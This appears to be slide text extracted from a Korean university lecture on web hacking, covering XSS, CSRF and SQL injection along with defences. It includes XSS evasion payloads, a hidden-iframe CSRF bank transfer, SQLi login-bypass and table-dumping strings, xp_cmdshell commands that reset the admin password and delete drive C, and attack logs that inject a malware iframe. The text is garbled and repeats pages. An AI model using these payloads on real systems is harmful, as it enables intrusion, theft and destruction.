Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 20: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 21: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

